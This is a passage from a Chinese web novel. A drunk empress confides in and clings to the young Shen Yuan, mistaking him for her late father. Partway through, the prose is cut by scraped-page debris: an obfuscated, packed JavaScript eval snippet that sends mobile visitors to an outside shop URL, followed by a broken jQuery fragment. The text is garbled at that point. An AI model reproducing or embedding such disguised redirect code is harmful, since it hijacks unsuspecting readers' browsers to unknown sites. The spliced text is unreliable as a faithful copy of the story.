沈渊只觉得自己的心跳得飞快,似乎想要用力冲破什么束缚,视线落在被她握过的手,久久不敢抬头。
段曦宁并未注意到他的异色,饮了一杯茶,转头透过窗棂看着天边斜阳洒下的金光出神,不知在想些什么。
好一会儿,她突然问:“暮色将至,若是对月独酌,别有一番滋味。喝酒吗?”
沈渊闻言抬头看着她被霞光镀了一层金光的侧颜,愣神片刻才摇摇头道:“陛下恕罪,我从不饮酒。”
段曦宁弯唇:“不沾酒色,真是个好孩子。”
她调侃了一句,便起身出去,远眺着天际的飞鸟,感受着凉风拂面带来的秋意。
沈渊随她出得殿外,望着她立在斜阳中的背影,只觉有几分寂寥,像是在北风中的孤雁。
“陪朕喝两杯?一个人怪没意思的。”
那语调轻忽缥缈,让沈渊再不愿说出拒绝的话
平心而论,他是非常厌恶酒的。
在他记忆中,父王只有喝醉了酒才会来找母后。
即便是醉醺醺的,父王看他的眼神中也有不加掩饰的厌恶。
每次父王来了以后,都会让人将他从母后宫里强行拖出去,不许他靠近寝殿。
紧接着殿内便会传来两人激烈的争吵,再便是一阵床板震动和刺耳的裂帛之声,伴随着母后痛苦的呜咽,像一把刀一样扎进他心里。
他从来不觉得酒是什么好东西,也从来不碰酒,更不喜欢见人酗酒。
眼见段曦宁坐在桂花树下端起一坛酒仰头就灌,他下意识地劝道:“陛下,酒气伤身,少饮为妙。”
“上好的杏花春,真不尝尝吗?”段曦宁晃了晃手中的酒坛子,笑着问了一句,又自顾自地饮了一大口。
沈渊立即摇了摇头,端坐在她对面未动。
她又仰头灌酒,后起身懒散地靠在了桂花树下的躺椅上,半躺着一边喝酒一边看月上中天,好不惬意。
盯着她看了许久,他觉得今日的她有些不对劲,轻声问:“陛下可是有何烦心事?”
她没回答,只是扭头看他,似是疑惑不解:“沈渊,你说这天下的人,是不是都喜欢儿子,不喜欢女儿?”
不知她这话从何问起,沈渊一时发蒙,仔细想了想,想不出个所以然,摇了摇头:“我不知道。”
“那你呢?”一会儿功夫,段曦宁竟已饮完一坛酒,又重新打开一坛,尝了一口,歪头问,“你喜欢儿子,还是女儿?”
“我?”他倒是从来没有想过这种事,只觉得这些事似乎离他很遥远。
既然她问起来了,他也认真思索了好一会儿,却想不出个所以然,只道:“我做不好父亲的。”
“你这说的什么话?”未料他这般回答,段曦宁诧异地扭头看他,“谁也不是天生就会做父母的,自是尽心就好。”
沈渊补充道:“我从未想过要孩子。”
以前他也想象过以后的日子,想象过自己会与什么样的女子成亲,想象过去哪里隐居,却从来没想过要孩子。
他只知道女子生育是可能会像他母后一般难产而亡的,无法接受以后与他情投意合的女子因此而有性命之忧。
段曦宁提醒道:“天下人都想要子孙满堂。”
沈渊一板一眼,极认真道:“天下人是天下人,我是我。旁人如何,与我无关。”
段曦宁一笑,仰头灌了一口酒,喃喃道:“算了,都没成亲的半拉小子,我跟你说这些做什么?”
她不再说话,仰躺着枕着自己的一条胳膊,另一手握着酒壶有一下没一下地灌自己酒,仰望着夜空中圆满的明月。
她还记得当年也是这样一个夜晚,父皇拉着她念念叨叨说了许久,而后一声不吭就走了,叫人猝不及防。
那时她抱着父皇一寸寸凉下来的身子,心中慌得以为天塌了,却又不得不逼着自己赶紧冷静下来思考对策。
当年她秘不发丧,稳住了京中朝臣。
如今又利用姝华之殇,对士族动刀子。
可她从来都不希望他们会死,也并不想这般做。
他们一个是至亲,一个是至交,她怎么真的舍得呢?
可如今他们都不在了,她已是彻彻底底的孤家寡人。
一坛酒很快又见底了,她开了一坛新的,就这样一下一下饮着,好不惬意。
许久,她才扭头突然问:“沈渊,你不好奇为何我会做了大桓的皇帝吗?”
沈渊闻言一愣。
时人皆倚重男嗣,家产宁与外侄,不与亲女。
明明桓朝有段景翊这个皇子,却是她这个长公主即位新君,这其中不知有何故事。
来大桓这段日子,他听过很多人提起先皇有多疼爱她这个女儿。
可他再天真,也知道皇权之争不是简单的事,不是靠父亲疼爱就能坐上皇位的,自然好奇,便顺着她的话问:“为何?”
段曦宁并未回答,只是灌着自己酒,双眼微眯地看着夜空中那一轮皎洁的明月。
依她的性子,沈渊也并未指望她真的会回答他。
见她不要命地灌着自己酒,他越看越心惊。
好在过了一会儿,她灌酒的动作停了下来,抱着酒壶仰躺着,许久未言。
沈渊以为她睡着了,正要起身查看,就见她坐了起来,眼神迷离,突然朝他露出个调皮的笑容:“你猜!”
被她这突如其来的笑容晃得还未回过神来的沈渊,就听她孩子似的得意道:“当然是,我最厉害啦!”
他了然,看来是醉了,不能让她再喝了,踟蹰许久,壮着胆子伸手抓住了她的酒壶想要夺过来,阻止她接着喝。
本想着醉鬼会有些难缠不好对付,没想到她却乖乖让他把酒壶夺走,只坐直了仰着头睁着湿漉漉的眼睛望着他,看不出是清醒着还是醉了。
沈渊不放心地看了她一眼,将酒壶放到桌子上又赶紧回头去看她,猛不丁被她一把抓住胳膊。
他被吓了一跳,正犹豫着要不要推开她,就见她抬起头冲他露出一个灿烂的笑容,声音清脆:“阿爹,我会背《尉缭子》了,厉害吧!”
沈渊大惊,吓得差点儿就要给她跪下:“你……”
“我背给你听呀!”就见段曦宁瞪着清澈明亮的大眼睛,仰头看着他,摇头晃脑一字一句道,“兵以静胜,国以专胜……将吏士卒,动静一身……”
听着她滔滔不绝地背诵着兵法
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971512|134599||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,沈渊无奈,温声劝道:“陛下,你喝醉了,我去叫素筠姑姑来。”
话音刚落,段曦宁一把扑进了他怀里,抱着他的腰,差点没把他撞得后退两步,她将脸埋进他胸前孺慕地蹭了蹭,仰起头,一副求夸奖的表情:“阿爹,我背的好不好?”
沈渊尴尬得双耳通红。
原本他就比一般人白皙许多,此刻通红的双耳跟白嫩的脸颊对比十分鲜明。
被她这么一抱,他顿时不知所措,抓着她的胳膊试着推开她道:“陛下,松手。”
这要被人知道了,他有几条命够赔的?
若是她酒醒了想起来,不会恼羞成怒之下把他灭口吧?
“我不!”她力气大得惊人,他用尽全身力气也没能扯开。
她死死抱着他,像个被先生夸奖了的孩子一般自豪道:“阿爹,我很厉害的,比所有小孩儿都厉害!他们不会的我都会!你放心,我一定不会让你失望的!你就等着我给你长脸吧!”
沈渊被她一口一个“阿爹”叫得心惊胆战,又推不开她,只得提心吊胆地耐心哄着:“陛下,你先放开我,好不好?”
段曦宁死活不撒手:“我就不!”还十分嘚瑟道:“阿爹!我是不是很给你长脸?你快夸夸我!不要吝啬你的赞美!快!”
“……”这一声声清脆的“阿爹”让他觉着自己要看见奈何桥了,不禁追悔莫及,此番不会惹火上身吧?
见他没说话,她眸中渐渐盈起水雾,湿漉漉地很是容易令人心软,她控诉:“你都不夸我,你不是最疼爱我的爹爹了,你变了!我不是你的宝贝囡囡了吗?”
她再这么叫下去,沈渊给她磕几个响头的心都有了,急忙解释道:“陛下,你真的认错人了!”
这一下,不说还好,一说这话彻底惹得她大哭起来:“呜呜呜呜……你居然不认我!你说,你是不是在外面有了别的种了!你不是说我才是你的心肝儿吗?怎么能不认我?你这个坏爹爹!呜呜呜……”
她哭得十分伤心,大片泪水全糊他衣襟上了,令有些天性喜洁的他头皮发麻,想要立即推开她,硬生生忍住了。
见她哭得伤心,他顿时心软,便顺着她,硬着头皮尴尬道:“你……你很厉害!人很聪明,武功很好,字也写得很漂亮!”
没想到一听这话她立刻止住了哭声,看向他的眼睛更亮了,鼓励道:“对,就是这样,就是这个味儿,就是这熟悉的感觉,这才是最爱我的爹爹!舒坦!不要停,继续夸!”
沈渊愕然,没想到喝醉了的她会这么难缠,硬着头皮,搜肠刮肚地想着夸人的话来哄她。
什么英明神武、德才兼备、出类拔萃、人中龙凤,能想到的话都不停地往外倒。
从才情夸到相貌,从相貌夸到人品。
他说一句,她就应和一句:“对对对,就是这样!继续!继续!”
他实在不是天生拍马屁的料,搜肠刮肚到后来词穷了,说得他自己都心虚,灵机一动,劝她道:“天色不早了,不如你先早点回去休息?”
她抬头有些疑惑懵懂地看着他,乖乖道:“好。”
以为她终于消停了,沈渊松了口气,就见她朝他伸开双臂,撒娇道:“抱!”